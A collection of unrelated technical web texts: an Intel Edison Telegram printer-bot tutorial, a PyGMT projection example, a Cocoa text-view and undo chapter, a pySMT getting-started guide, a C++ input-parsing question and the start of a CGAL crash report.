Git is not installed by default in the edison board, you can use the edison package manager to perform the task.
$ opkg install git
Note: If you get the error Unknown package 'git', add this repo to the feeds
(vi /etc/opkg/base-feeds.conf)
src all
src x86
src i586
then run
opkg update
opkg install git
Step 3: Connect the Printer
Wiring the printer to the Intel edison is quite easy:
The printer requires a 5 to 9 volts power supplier capable a minimum of 2Amp.
You can connect the power supplier directly to the barrel jack on the edison breackout board and then power the printer from VIN and GND of the breakout board.
The printer communicates to the edison via the serial port.
Connect the yellow cable to TX and the black cable to GND
Step 4: Printer Test
Download the printer library
Download the library from GitHub and copy the files on the Edison.
You could also use git to download the library directly to the Edison board.
git clone <a href="" rel="nofollow"></a>
Open the UART0 serial port
by default the GPIO's of the edison are disables.
You can enable them by programming the edison via the Arduino IDE or by using the MRAA library available for several programming languages.
To open enable the UART0 port, TX RX on the edison breakout board, open a Python shell in the thermal and write:
import mraa x=mraa.Uart(0)
Install PYserial
you will need pySerial library to connect the edison to the printer. Once connected to the internet just run
pip install pyserial
First printer test
Now it's time to test that everything is working correctly.
First of all make sure you have some paper inserted correctly inside the printer, then go inside the Python-Thermal-Printer folder and run the printertest.py
cd Python-Thermal-Printer<br>python printertest.py
The printer should now perform a test-print.
If something isn't working please go back and make sure you have correctly followed all the steps.
Step 5: Setup a New Telegram Bot
Telegram bots have been recently introduce as a new feature in the famous messaging app. You can create new bots that respond to commands and interact with the members of a chat.
You can find a complete documentation about setting the Telegram Bots here.
Library to easily program bots behaviours have been written in many programming languages. In this tutorial we are going to use the Python telegram bot library by Leandro Toledo.
Create a new bot:
BotFather is the one bot to rule them all. It will help you create new bots and change settings for existing ones.
Open a telegram chat and look for BotFather.
Use the /newbot command to create a new bot.
The BotFather will ask you for a name and username, then generate an authorization token for your new bot. The name of your bot will be displayed in contact details and elsewhere. saw that will be required to authorise the bot and send requests to the Bot API.
if you want to have fun programming your bots we suggest to start from the echobot example included in the Python telegram bot library. You can install it and run it from your computer or directly from the edison. Find a full references of what you can do with it on the github page of the library.
Step 6: Download the Code and Required Libraries
Start by downloading the code from FablabTorino github repository.
The fastest way is probably cloning the repo directly on the edison board via git
git clone
the project is composed of different files and folder:
- "Python-Thermal-Printer-master" is the printer library you already downloaded from adafruit github repo
- "data" contains a json file with names and path of all the images the PCBot can print (please help us grow the database)
- "printer enclosure" contains a dxf file ready to be lasercutted and use as an enclosure for the edison and the printer
- "tempData" is an empty folder that will be used by the software to download files
- "PCBot.py" is the main python app, here is coded the software logic, you can extend the feature of the bot by adding new behaviours here
- "printer.py" takes care of downloading images, scale them and send them to the printer.
- "privateData.py" contains your bot token, we added it in a separate file to avoid the inconvenience of accidentally share sensible data.
Install python dependencies
The software need some other python libraries to run. Install them with pip
pip install telegram
pip install urllib
Step 7: Time to Run the Program
Before running the program remember to insert the token of the bot you registered inside privateData.py
now you should have all you need to run the software, just run
python PCBot.py
Chat with the bot
You can interact with the bot by chatting with it.
use:
- /help to get the list of available commands
- /breadboard_list to get the list of available paper template
- /breadboard_<name> prints a paper template
- /pinout_list to get the list of available pinout
- /pinout_<name> prints the requested pinout
- /print followed by the url of an image will send the image to the printer
Discussions
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https://www.instructables.com/id/PCBot/
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CC-MAIN-2019-26
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refinedweb
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a|oAlon0/lat0/azimuth/scale[+v] or Oa|OAlon0/lat0/azimuth/width[+v]
The projection is set with o or O. The pole is set in the northern hemisphere with a or the southern hemisphere with A. The central meridian is set by lon0/lat0. The oblique equator is set by azimuth. Align the y-axis with the optional +v. The figure size is set with scale or width.
Out:
<IPython.core.display.Image object>
import pygmt fig = pygmt.Figure() # Using the origin and azimuth fig.coast( projection="Oa-120/25/-30/6c+v", # Set bottom left and top right coordinates of the figure with "+r" region="-122/35/-107/22+r", frame="afg", land="gray", shorelines="1/thin", water="lightblue", ) fig.show()
Total running time of the script: ( 0 minutes 0.950 seconds)
Gallery generated by Sphinx-Gallery
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https://www.pygmt.org/v0.5.0/projections/cyl/cyl_oblique_mercator_1.html
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Step 2: Implement the Add Entry Push Button
You learned in Step 7 of Recipe 2 how to connect an existing action method to a button to make the button respond when the user clicks it. Creating a stub for a custom action method and hooking it up is easy. The hard part in this step and the next will be figuring out how to write the body of the -addEntry: and -addTag: action methods. Start with the Add Entry button.
Open the DiaryWindowController.h header file in Xcode. Add this action method declaration above the @end directive:
- (IBAction)addEntry:(id)sender;
Open the DiaryWindowController.m source file. Insert the following stub of the -addEntry: action method definition between the existing -otherDiaryView and -windowDidLoad method definitions.
- (IBAction)addEntry:(id)sender { }
The signature of every action method follows the same pattern, as you saw when you wrote the -newDiaryDocument: action method in Step 5 of Recipe 3. The IBAction return type is a synonym for void, and it informs Interface Builder that this is an action method. Every action method takes a single parameter, the sender, usually typed as id for maximum flexibility.
When you write the body of an action method, you are free to ignore the sender parameter value, but it can be very useful. Developers often forget that the sender parameter is available in an action method. They go to extraordinary lengths to build up a reference to the object that sent the action message, when all along the sender was right there begging to be used. For example, you can determine whether the sender was a button or a menu item and, if it was a complex control, what the settings of its constituent cells were after its action method was sent.
Open the DiaryWindow nib file in Interface Builder. Control-drag from the Add Entry button in the diary window to the First Responder proxy in the Diary-Window nib file's window, and then select the addEntry: action in the Received Actions section of the HUD. The Add Entry button is now connected. Clicking it while the application is running executes the -addEntry: action method.
Save the nib file once you've done this.
Several techniques can be used to verify that an action method is properly connected. One is to put a call to Cocoa's NSLog() function in the body of the action method, then build and run the application and watch the debugger console while you click the button. To do this now, add this statement to the -addEntry: stub implementation in the DiaryWindowController.m source file:
NSLog(@"Add Entry button was clicked.");
Choose Run > Console and position the Debugger Console window so that you can see it while the application is running. Then build and run the application, choose File > New Chef's Diary, and click the Add Entry button. If the action method is properly connected, you see a message in the Debugger Console showing the date and time, the name of the application with some cryptic information about it, and the message you specified in the NSLog() function call.
The NSLog() function call would be more useful if it identified what you clicked by using the sender parameter value instead of hard coding it in the string. You will add an Add Entry menu item to the menu bar in Recipe 5, and it would be disconcerting to see a console message that the Add Entry button was clicked when you had actually chosen the Add Entry menu item. Change the NSLog() function call to this:
NSLog(@"Add Entry; sender is %@ named \"%@\"", sender, [sender title]);
Now the debugger console shows the title of the button as well as its class. This will work with a menu item, too, because menu items also respond to the -title message.
The string in the first parameter of the NSLog() function is called a format string because it can optionally contain placeholders. At run time, the values of the following parameters replace the placeholders in order. The two placeholders (%@) in the format string here are filled in at run time with the sender's object and its title. The %@ placeholder is for object values only, including NSString object values. Different placeholders are available for a variety of other data types. Bookmark the "String Format Specifiers" section of Apple's String Programming Guide for Cocoa. It lists all of the available placeholders, and you will consult it often. If you use the wrong placeholder, the resulting type mismatch may generate its own runtime error, and, ironically, your debugging effort may itself be difficult to debug.
Now you're ready to write the body of the -addEntry: action method. Consider first what it should accomplish. It may be called in two situations: where the text of the diary window is empty, and where there is already some text in the window. The Add Entry button should append the title of a new diary entry to the end of whatever text is currently in the diary, starting on a new line if necessary, or simply insert it if the diary is empty. The title should be the current date in human-readable form, preceded by a special character reserved to mark the beginning of a diary entry. You will use the special marker character later to search for the beginning of diary entries, so it must be a character that the user would never type. The title should be in boldface so that it stands out visually. Undo and redo must be supported. Finally, the action method should end by inserting a new line so that the user can immediately begin typing the new entry.
In writing the -addEntry: action method, consider the MVC design pattern. Details regarding the structure and content of the diary, such as the fact that the diary is organized into entries having titles in the form of human-readable date and time strings and the special character used to mark a diary entry, belong in the MVC model. You should place methods relating to these features of the Chef's Diary in the DiaryDocument class. In the case of an entry's title, you therefore implement methods in DiaryDocument to return the title itself and the special marker character that precedes it, as well as a method that constructs the white space around the title that is required for proper spacing above and below it. These methods are -entryMarker, -entryTitleForDate:, and -entryTitleInsertForDate:. In the course of writing the action method, you call -entryTitleInsertForDate: to obtain the fully constructed insert to be added to the diary.
Before you begin, delete the NSLog() function call you wrote earlier because you no longer need it.
Now implement the -addEntry: action method in the DiaryWindowController.m implementation file, as set out here:
- (IBAction)addEntry:(id)sender { NSTextView *keyView = [self keyDiaryView]; NSTextStorage *storage = [keyView textStorage]; NSString *titleString = [[self document] entryTitleInsertForDate:[NSDate date]]; NSRange endRange = NSMakeRange([storage length], 0); if ([keyView shouldChangeTextInRange:endRange replacementString:titleString]) { [storage replaceCharactersInRange:endRange withString:titleString]; endRange.length = [titleString length] - 1; [storage applyFontTraits:NSBoldFontMask range:endRange]; [keyView didChangeText]; [[keyView undoManager] setActionName: NSLocalizedString(@"Add Entry", @"name of undo action for Add Entry")]; [[self window] makeFirstResponder:keyView]; [keyView scrollRangeToVisible:endRange]; [keyView setSelectedRange: NSMakeRange(endRange.location + endRange.length + 1, 0)]; } }
The first block sets up three local variables, keyView to hold the text view in whichever pane of the diary window currently has keyboard focus; storage to hold the view's text storage object; and titleString to hold the entry title insert obtained from the diary document. Foundation's +[NSDate date] method returns an NSDate object representing the current date and time.
You define keyView to specify which of the two text views in the split pane currently has keyboard focus. You do this by calling a utility method you will write shortly, -keyDiaryView, which uses NSWindow's -firstResponder method. It is important to use the correct view, because at the end of the -addEntry: method you scroll the new entry title into view and select it. These visual changes should occur in the pane the user is editing. You use keyView throughout the -addEntry: method as a convenient way to refer to the text view.
The documentation for Cocoa's text system recommends that you always perform programmatic operations on the contents of a text view by altering the underlying text storage object. Although NSTextView implements a number of methods that alter the contents of the view without requiring you to deal directly with the text storage, such as -insertText:, you can't use them here because they are designed to be used only while the user is typing.
In -addEntry:, you get the diary's text storage object through its text view object, which is described in the NSTextView Class Reference as the front end to the Cocoa text system. Apple's Text System Overview goes so far as to say that most developers can do everything using only the NSTextView API. You could just as easily have called the -diaryDocTextStorage accessor method in DiaryDocument to get the text storage object, but MVC principles make clear that it is preferable to use methods that don't require the window controller to know anything about specific details of the document's implementation.
You set the titleString local variable by calling another method you will write shortly, -entryTitleInsertForDate:.
The next block uses NSMutableAttributedString's -replaceCharactersInRange:withString: method, inherited by NSTextStorage, to insert the entry title at the end of the Chef's Diary.
The call to -shouldChangeTextInRange:replacementString: that precedes this operation tests whether changing the contents of the text storage is currently permitted. You should always run this test before changing text that is displayed in a text view, even if you're confident that changing the text is appropriate. You—or Apple—might later decide to override-shouldChangeTextInRange:replacementString: to return NO under circumstances that you haven't anticipated. By default, it returns NO only when the text view is specified as noneditable.
These two methods, like many methods in the Cocoa text system, require an NSRange parameter value identifying the range of characters to be changed. You're going to need the range in other statements, as well, for example, to scroll the text view to the newly inserted title. You define it just before the test as a range of zero length located at the end of the existing text, if any, storing it in the endRange local variable.
The method then revises the length of endRange to reflect the fact that you have now added the title string to the end of the document. It uses this new range to apply the NSBoldFontMask font trait to the title. You exclude the trailing newline character from the boldface trait to ensure that the text the user begins typing after adding the title is not boldface.
The method next uses a standard text system technique to make the user's insertion of a new diary entry undoable. Until now, you have operated under the assumption that text views automatically implement undo and redo because you selected the Undo checkbox in the Text View Attributes inspector in Interface Builder. Your assumption is correct, but only as long as the user performs built-in text manipulation operations. When you implement a custom text manipulation operation that isn't part of NSTextView's built-in typing repertoire, you have to pay attention to undo and redo yourself.
Whenever you implement a method, such as the -addEntry: method here, that gives the user the ability to perform a custom operation in a text view, you must bracket the code with calls to -shouldChangeTextInRange:replacementString: and -didChangeText. This ensures that all the expected notifications get sent and all the expected delegate methods get called, and it ensures that the operation is undoable and redoable.
The titles of the Undo and Redo menu items should reflect the nature of the undo or redo operation. You accomplish this by passing the string @"Add Entry" to the undo manager's -setActionName: method, using the NSLocalizedString() macro to make sure your localization contractor can translate the string for use in other locales. In the English locale, the menu item titles will be Undo Add Entry and Redo Add Entry.
In the final block, you scroll the title into view. In case the user has set the Full Keyboard Access setting to "All controls" in the Keyboard Shortcuts tab of the Keyboard pane of System Preferences, you also set the current keyboard focus on the text view in the top pane of the split view, unless it was already on the bottom pane. This respects the user's expectation that clicking the Add Entry button enables typing immediately below the new entry's title, even if some other view in the window, such as the search field, had keyboard focus.
Write the -keyDiaryView method called at the beginning of -addEntry:. This is a very short method and its code could just as well be written in line. However, you will need it in several places so it's a good candidate for a separate method.
At the end of the DiaryWindowController.h header file, insert this declaration:
- (NSTextView *)keyDiaryView;
In the DiaryWindowController.m implementation file, define it like this:
- (NSTextView *)keyDiaryView { return ([[self window] firstResponder] == [self otherDiaryView]) ? [self otherDiaryView] : [self diaryView]; }
If the user is currently typing in the bottom pane of the diary window, this method returns otherDiaryView. If any other view in the window has keyboard focus, it returns the primary text view, diaryView, which is in the top pane of the window.
Next, add the -entryTitleInsertForDate: method and its two supporting methods to the DiaryDocument class. They belong in DiaryDocument, not DiaryWindowController, because they provide information about the structure and content of the document.
In the DiaryDocument.h header file, declare them as follows:
- (NSString *)entryMarker; - (NSString *)entryTitleForDate:(NSDate *)date; - (NSString *)entryTitleInsertForDate:(NSDate *)date;
In the DiaryDocument.m implementation file, define them as follows:
- (NSString *)entryMarker { return DIARY_TITLE_MARKER; } - (NSString *)entryTitleForDate:(NSDate *)date { NSString *dateString; if (floor(NSFoundationVersionNumber) <= NSFoundationVersionNumber10_5) { NSDateFormatter *formatter = [[NSDateFormatter alloc] init]; [formatter setDateStyle:NSDateFormatterLongStyle]; [formatter setTimeStyle:NSDateFormatterLongStyle]; dateString = [formatter stringFromDate:date]; [formatter release]; } else { dateString = [NSDateFormatter localizedStringFromDate:date dateStyle:NSDateFormatterLongStyle timeStyle:NSDateFormatterLongStyle]; } return dateString; } - (NSString *)entryTitleInsertForDate:(NSDate *)date { NSTextStorage *storage = [self diaryDocTextStorage]; NSString *leadingWhitespaceString; if ([storage length] == 0) { leadingWhitespaceString = @""; } else if ([[storage string] hasSuffix:@"\n"]) { leadingWhitespaceString = @"\n"; } else { leadingWhitespaceString = @"\n\n"; } NSString *formatString = @"%@%@ %@\n"; return [NSString stringWithFormat:formatString, leadingWhitespaceString, [self entryMarker], [self entryTitleForDate:date]]; }
The first method, -entryMarker, simply returns DIARY_TITLE_MARKER. Don't forget to define it. At the top of the DiaryWindowController.m source file, add this line below the #import directives:
#define DIARY_TITLE_MARKER @"\u270E" // Unicode LOWER RIGHT PENCIL
You can now use the DIARY_TITLE_MARKER macro anywhere in this file's code, and the preprocessor automatically substitutes the string. You return it in a method as well, in case you need it in the diary window controller.
The second method, -entryTitleForDate:, formats the current date and time into a string suitable for use as the title of a new diary entry. You should recognize the opening if test from Step 3 of Recipe 2, where you learned that the statements in the first branch are executed only when the application is running under Leopard and not under Snow Leopard. In fact, these statements would work correctly under Snow Leopard, too. However, a new convenience method was introduced in Snow Leopard that does the same thing in a single statement. This book is focused on Snow Leopard, so you should know how to use it. Because the new method is in Foundation, not AppKit, you test against NSFoundationVersionNumber10_5.
Although there are other ways to create a date string, the Cocoa documentation recommends that you use NSDateFormatter, a built-in Cocoa class. Here, you allocate and initialize a date formatter object using its designated initializer, -init, and then you set both its date style and its time style to NSDateFormatterLongStyle, one of several date and time styles declared in Cocoa. Then you tell the formatter to create and return a string reflecting these styles by calling the formatter's -stringFromDate: method. When that is done, you release the formatter because you're through with it.
When Vermont Recipes is running under Snow Leopard, all this work is done by a single new method, +localizedStringFromDate:dateStyle:timeStyle:. It is a class method that you can call globally without allocating and initializing your own date formatter. You don't release the formatter afterward because you didn't create it.
Both techniques set up the date string according to the date and time styles you specified. The styles control which date and time elements appear in the string and whether short or long forms are used. The user's locale and current date and time formatting preferences are honored, as set in the Language & Text pane in System Preferences.
The third method, -entryTitleInsertForDate:, sets up the leadingWhitespaceString local variable. It then assembles it, the marker character, and the entry title into a combined string suitable to be inserted into the Chef's Diary. The leadingWhitespaceString string is used to ensure that there is always a blank line before a new diary entry's title. If the text field is currently empty, of course, there should be no white space before the initial entry's title. If it is not empty, the application specification calls for a new title to be added at the end of the text view's content. If the last character in the text view is a newline character, one more newline character is added. Otherwise, two newline characters are added. This ensures that a blank line always separates a new entry's title from a preceding entry's text.
The method then uses NSString's +stringWithFormat: class method. This is a workhorse that you will use very frequently to compose formatted strings. It takes a variable number of parameters, the first of which is a format string like the format string you used in the NSLog() function earlier. The remaining parameters generate objects or other types of data and place them into the corresponding placeholders embedded in the text of the format string. Here, you define a format string with three placeholders and some whitespace. After assigning the format string to a local variable, formatString, you pass it and other information into the +stringWithFormat: method.
Examine the format string. The first placeholder is %@. You saw it in the NSLog() function a moment ago. Here, you place the leadingWhitespaceString object in the placeholder, even if it is an empty string.
The second placeholder is also %@, separated from the first placeholder by a space character that will appear in the final string. You replace the second placeholder with the entry title marker character, which you defined earlier as an NSString object holding the Unicode LOWER RIGHT PENCIL character, code point 0x270E. This is the special character you will use to mark the beginning of each diary entry in the diary window.
Pause for a moment to consider this second placeholder. If you were building the Vermont Recipes application under Leopard, you would probably write the format string as @"%@%C %@\n", and you would define DIARY_TITLE_MARKER not as a string but as the hexadecimal number 0x270E. The second placeholder would be %C, not %@. Look it up in the "String Format Specifiers" section of Apple's String Programming Guide for Cocoa, which you bookmarked a moment ago, and you see that the %C placeholder is designed to hold a 16-bit Unicode code point.
When you build an application under Snow Leopard, you don't have to use %C and the numeric code point for a Unicode character. Xcode 3.2 in Snow Leopard compiles code using the C99 dialect of the C programming language by default, and C99 lets you define strings using an escape sequence for Unicode characters like this: @"\u270E". The compiled C99 object code runs perfectly well under Leopard and Snow Leopard. In fact, you could even build the application under Leopard using the escape sequence, if you set up the project to use the C99 dialect.
An easy way to find Unicode characters is Apple's Character Viewer. Add it to your menu bar by opening the Keyboard tab of the Keyboard pane in System Preferences and selecting the "Show Keyboard & Character Viewer in menu bar" setting. In many applications, you can open it by choosing Edit > Special Characters. Choose it from an application or choose Show Character Viewer from the menu bar item, choose Code Tables from the View pull-down menu, and scroll to Unicode block 00002700 (Dingbats).
The third placeholder in the format string is another %@ placeholder. Here, you replace it with the title string returned by the -entryTitleForDate: method you just wrote.
The format string contains the escape sequence \n at the end. This escape sequence also appears in the whitespaceString variable. It inserts the standard newline control character into the string. You could just as well have used \r for the carriage return control character, or \r\n for the standard Windows line-ending control character sequence. When you use this string to create an attributed string for insertion into the text view, Cocoa automatically interprets any of these escape sequences as a signal to begin a new paragraph in the text view. You should make a habit of using one of them consistently, however, because you must sometimes search for it.
If you build and run the application now, you find that the Add Entry button works exactly as expected. Try it. Open a new Chef's Diary window and click Add Entry. A new boldface title appears in the text view. A cute little pencil image appears at the beginning of the title. Type some more text, and then click Add Entry again. Another title appears at the end, separated by a blank line from the preceding text. Choose Undo Add Entry and Redo Add Entry, and see that undo and redo work.
Try a different sequence of actions. Open a new Chef's Diary window, and then click Add Entry. Then save the document and click Add Entry again. Choose Undo Add Entry, and the second entry title goes away, leaving the document marked clean because it is now back in the state it was in when you saved it. Open the Edit menu again, and you see an Undo Add Entry menu item. Choose it, and the first title is removed, leaving the document marked dirty because it now differs from the document as you saved it. Choose Redo Add Entry, and the title is reinserted, leaving the document marked clean because you are now back at the point where you saved it. You have just undone an action back in time past the save barrier. This ability was introduced in Mac OS X 10.4 Tiger and is now standard. Some applications, such as Xcode, present an alert asking whether you really want to undo past the save barrier, but most applications don't do this because users have come to expect it. The ability to undo past the save barrier does not survive quitting the application.
In the course of playing with the text view, you might discover one inconsistency regarding undo past the save barrier. Try typing some text in the Chef's Diary window, then save the document, and then type some more text. Now choose Edit > Undo Typing. All of the text you typed, both before and after the point where you saved the document, is removed at once, and choosing Edit > Redo Typing restores all of it.
The typical user expects that saving a document will interrupt the collection of undo information. After you save a document and type some more text, Undo Typing should undo only back to the point at which the document was saved. To undo the typing before the save operation should require another invocation of Undo Typing.
According to Apple's NSTextView Class Reference, you should resolve this issue by invoking -breakUndoCoalescing every time the user saves the document.
Apple does this in its TextEdit sample code by overriding NSDocument's implementation of the -saveToURL:ofType:forSaveOperation:error: method. The problem with TextEdit's implementation, as the TextEdit sample code notes in a comment, is that undo coalescing is broken not only when the user saves a document, but also when the document saves itself because autosaving is turned on. The TextEdit sample code points out that this is potentially confusing to the user, who normally won't notice the autosave operation.
To avoid this problem, override -saveToURL:ofType:forSaveOperation: delegate:didSaveSelector:contextInfo:, instead. You could override the same method that TextEdit overrides and test its saveOperation argument to exclude NSAutosaveOperation operations, as you do here, but this is an opportunity to take advantage of the temporary delegate callback design pattern common in Cocoa. This method is called for all kinds of save operations, including those performed by the Save and the Save As menu items as well as autosave operations. You test for an autosave operation—which you will turn on in Recipe 7—and exclude it from the callback method so that autosaves do not break undo coalescing. To understand the message flow when a document in a document-based application is created, opened, or saved, see the figures in the "Message Flow in the Document Architecture" section of Apple's Document-Based Applications Overview. They contain lists of methods you can override. See also the "Autosaving in the Document Architecture" section.
Another problem with the TextEdit sample code is that it accesses the document's array of window controllers to call an intermediate -breakUndoCoalescing method written specifically to make this technique work. The intermediate method in turn calls NSTextView's -breakUndoCoalescing method. It is generally preferable to avoid requiring the document to know anything about how the window controller is implemented.
To avoid this problem in the diary document, take advantage of the Cocoa text system by using the document's NSTextStorage object to locate all of its associated NSTextView objects and call their -breakUndoCoalescing methods.
In the DiaryDocument.m source file, implement these two methods:
- (void)saveToURL:(NSURL *)absoluteURL ofType:(NSString *)typeName forSaveOperation:(NSSaveOperationType)saveOperation delegate:(id)delegate didSaveSelector:(SEL)didSaveSelector contextInfo:(void *)contextInfo { NSNumber *saveOperationNumber = [NSNumber numberWithInt:saveOperation]; [super saveToURL:absoluteURL ofType:typeName forSaveOperation:saveOperation delegate:self didSaveSelector:@selector(document:didSave:contextInfo:) contextInfo:[saveOperationNumber retain]]; } - (void)document:(NSDocument *)doc didSave:(BOOL)didSave contextInfo:(void *)contextInfo { NSSaveOperationType saveOperation = [(NSNumber *)contextInfo intValue]; [(NSNumber *)contextInfo release]; if (didSave && (saveOperation != NSAutosaveOperation)) { for (NSLayoutManager *manager in [[self diaryDocTextStorage] layoutManagers]) { for (NSTextContainer *container in [manager textContainers]) { [[container textView] breakUndoCoalescing]; } } } }
This is your first contact with a common Cocoa design pattern, the callback selector to a temporary delegate. The delegate argument of the first method allows you to designate any object as the method's temporary delegate. Here, as is commonly the case, you designate self as the temporary delegate. This relationship is only for purposes of the callback method, and it lasts only until the callback method is called.
The didSaveSelector: parameter allows you to identify a selector for the callback method, which you must implement in the temporary delegate, self. Cocoa will call the callback method identified by the selector automatically when some event occurs. The documentation describes the event that triggers the callback method, and it also specifies the required signature of the callback method. The -saveToURL:ofType:forSaveOperation:delegate:didSaveSelector:contextInfo: method is documented to call the callback method when the save operation completes successfully.
Here, the -saveToURL:ofType:forSaveOperation:delegate:didSaveSelector:contextInfo: method does only one thing: It calls super's implementation of the method, designating self as the temporary delegate and document:didSave:contextInfo: as the callback selector. The call to super starts the save operation. It also specifies the callback selector, using the @selector() compiler directive. In addition, it encapsulates the saveOperation argument, an integer of type NSSaveOperationType, in an NSNumber object and passes it to the callback method in the contextInfo parameter. You retain the NSNumber object before passing it to the callback method, then release it in the callback method when you're finished with it.
The callback method is where the important action takes place. First, it tests the didSave argument, since you don't want to break undo coalescing if the save operation as not successful. Next, it extracts that saveOperation value from the contextInfo argument and checks whether it is an autosave operation. If the save operation did complete and it was not an autosave opeartion, the method uses nested for loops to traverse all of the NSLayoutManager objects, all of the NSText-Container objects, and finally all of the NSTextView objects in the diary document's text storage object. It calls -breakUndoCoalescing on each of the text views it finds. This logic covers all possible text system arrangements, so it makes no assumptions about the window controller or the user interface of the application.
Try the same experiment now. Type some text, save the document, type some more text, and choose Edit > Undo Typing. Only the text added after the document was saved is removed. Choose Undo Typing again, and the rest of it is removed. Choose Redo Typing twice, and the text comes back in two discrete steps. The document is marked dirty or clean correctly based on the point at which it was last saved. This works correctly whether you save the document using the Save or the Save As menu item.
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Getting Started¶
In this section we will see how to install pySMT and how to solve a simple problem using it.
Installation¶
To run pySMT you need Python 3.5+ or Python 2.7 installed. If no solver is installed, pySMT can still create and dump the SMT problem in SMT-LIB format. pySMT works with any SMT-LIB compatible solver. Moreover, pySMT can leverage the API of the following solvers:
- MathSAT ()
- Z3 ()
- CVC4 ()
- Yices 2 ()
- CUDD ()
- PicoSAT ()
- Boolector ()
The Python binding for the SMT Solvers must be installed and
accessible from your
PYTHONPATH.
To check which solvers are visible to pySMT, you can use the command
pysmt-install (simply
install.py in the sources):
$ pysmt-install --check
provides the list of installed solvers (and version). Solvers can be installed with the same script: e.g.,
$ pysmt-install --msat
installs the MathSAT5 solver. Once the installation is complete, you
can use the option
--env to obtain a string to update your
PYTHONPATH:
$ pysmt-install --env export PYTHONPATH="/home/pysmt/.smt_solvers/python-bindings-2.7:${PYTHONPATH}"
By default the solvers are installed in your home directory in the
folder
.smt_solvers.
pysmt-install has many options to
customize its behavior.
GMPY2¶
PySMT supports the use of the
gmpy2 library (version
2.0.8 or later)
to handle multi-precision numbers. This provides an efficient way to
perform operations on big numbers, especially when fractions are
involved. The gmpy library is used by default if it is installed,
otherwise the
fractions module from Python’s standard library is
used. The use of the gmpy library can be controlled by setting the
system environment variables
PYSMT_GMPY2 to
True or
False. If this is set to true and the gmpy library cannot be
imported, an exception will be thrown.
Hello World¶
Any decent tutorial starts with a Hello World example. We will encode a problem as an SMT problem, and then invoke a solver to solve it. After digesting this example, you will be able to perform the most common operations using pySMT.
The problem that we are going to solve is the following:
Lets consider the letters composing the words HELLO and WORLD, with a possible integer value between 1 and 10 to each of them.
Is there a value for each letter so that H+E+L+L+O = W+O+R+L+D = 25?
The module
pysmt.shortcuts provides the most used functions of the
library. These are simple wrappers around functionalities provided by
other objects, therefore, this represents a good starting point if you
are interested in learning more about pySMT.
We include the methods to create a new
Symbol() (i.e., variables), and
typing information (the domain of the variable), that is defined in
pysmt.typing, and we can write the following:
from pysmt.shortcuts import Symbol from pysmt.typing import INT h = Symbol("H", INT) domain = (1 <= h) & (10 >= h)
When importing
pysmt.shortcuts, the infix notation is
enabled by default. Infix notation makes it very easy to experiment
with pySMT expressions (e.g., on the shell), however, it tends to make
complex code less clear, since it blurs the line between Python
operators and SMT operators. In the rest of the example, we will use
the textual operators by importing them from
pysmt.shortcuts.
from pysmt.shortcuts import Symbol, LE, GE, And, Int from pysmt.typing import INT h = Symbol("H", INT) # domain = (1 <= h) & (10 >= h) domain = And(LE(Int(1), h), GE(Int(10), h))
Instead of defining one variable at the time, we will use Python’s
comprehension to apply the same operation to multiple
symbols. Comprehensions are so common in pySMT that n-ary operators
(such as
And(),
Or(),
Plus()) can accept am iterable object
(e.g. lists or generator).)
Note
Limited serialization
By default printing of a string is limited in depth. For big
formulas, you will see something like
(x & (y | ... )),
where deep levels of nestings are replaced with the ellipses
.... This generally provides you with an idea of how the
structure of the formula looks like, without flooding the
output when formulas are huge. If you want to print the
whole formula, you need to call the
serialize() method.
Defaults methods for formula allow for simple printing. Checking satisfiability can also be done with a one-liner.
print("Checking Satisfiability:") print(is_sat(formula))
Model extraction is provided by the
get_model() shortcut: if the
formula is unsatisfiable, it will return
None, otherwise a
Model, that is a dict-like structure
mapping each Symbol to its value.
print("Serialization of the formula:") print(formula) print("Checking Satisfiability:") print(is_sat(formula))
Shortcuts are very useful for one off operations. In many cases,
however, you want to create an instance of a
Solver and operate on it
incrementally. This can be done using the
pysmt.shortcuts.Solver() factory. This factory can be used
within a context (
with statement) to automatically handle
destruction of the solver and associated resources. After creating the
solver, we can assert parts of the formula and check their
satisfiability. In the following snippet, we first check that the
domain formula is satisfiable, and if so, we continue to solve the
problem.
with Solver(name="z3") as solver: solver.add_assertion(domains) if not solver.solve(): print("Domain is not SAT!!!") exit() solver.add_assertion(problem) if solver.solve(): for l in letters: print("%s = %s" %(l, solver.get_value(l))) else: print("No solution found")
In the example, we access the value of each symbol
(
get_value()), however, we can
also obtain a model object using
get_model().
Note
Incrementality and Model Construction
Many solvers can perform aggressive simplifications if
incrementality or model construction are not required. Therefore,
if you do not need incrementality and model construction, it is
better to call
is_sat(), rather than instantiating a
solver. Similarly, if you need only one model, you should use
get_model()
With pySMT it is possible to run the same code by using different
solvers. In our example, we can specify which solver we want to run by
changing the way we instantiate it. If any other solver is installed,
you can try it by simply changing
name="z3" to its codename (e.g.,
msat):
You can also not specify the solver, and simply state which Logic must
be supported by the solver, this will look into the installed solvers
and pick one that supports the logic. This might raise an exception
(
NoSolverAvailableError), if no logic for
the logic is available.
Here is the complete example for reference using the logic QF_LIA:) with Solver(logic="QF_LIA") as solver: solver.add_assertion(domains) if not solver.solve(): print("Domain is not SAT!!!") exit() solver.add_assertion(problem) if solver.solve(): for l in letters: print("%s = %s" %(l, solver.get_value(l))) else: print("No solution found")
What’s Next?¶
This simple example provides the basic ideas of how to work with
pySMT. The best place to understand more about pySMT is the
pysmt.shortcuts module. All the important functionalities are exported
there with a simple to use interface.
To understand more about other functionalities of pySMT, you can take a look at the examples/ folder .
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Do ifstream or istringstream have issues processing tabs?
I'm trying to process fragments of a text file that look like this:
6 Jane Doe 1942 90089 3 1 5 12
Lines 2-5 begin with a tab. The last line will have an arbitrary number of integers separated by spaces. I'm store all of this information in appropriate variables, with the last line in a vector. Here's what I've tried so far:
int id; ifile >> id; string name; getline(ifile, name); int year; ifile >> year; int zip; ifile >> zip; vector<int> friends; string friends_str; getline(ifile, friends_str); istringstream iss(friends_str); int x_id; while (iss >> x_id) { friends.push_back(x_id); }
Am I missing anything about how tabs are dealt with? Is my approach with istringstream good for this situation, since the last line will have an unknown number of integers? Am I missing any trivial mistakes?
See also questions close to this topic
- CGAL 4.14 Bezier Arrangement crashes with two straight curves
CGAL::insert on an Arrangement_2< Arr_Bezier_curve_traits_2 > will occasionally violate an assertion. I can't state certainly what the problematic scenarios have in common, but they often seem to involve one curve terminating in the middle of another. I've put together a minimal example. For me (Windows 8.1, MSVC2015 running in QtCreator, CGAL 4.14), this fails in debug mode at the assertion of line 234 in No_intersection_surface_sweep_2_impl.h:
CGAL_assertion((m_statusLine.size() == 0));
In release mode, my whole system hangs until I can manage to kill the offending process.
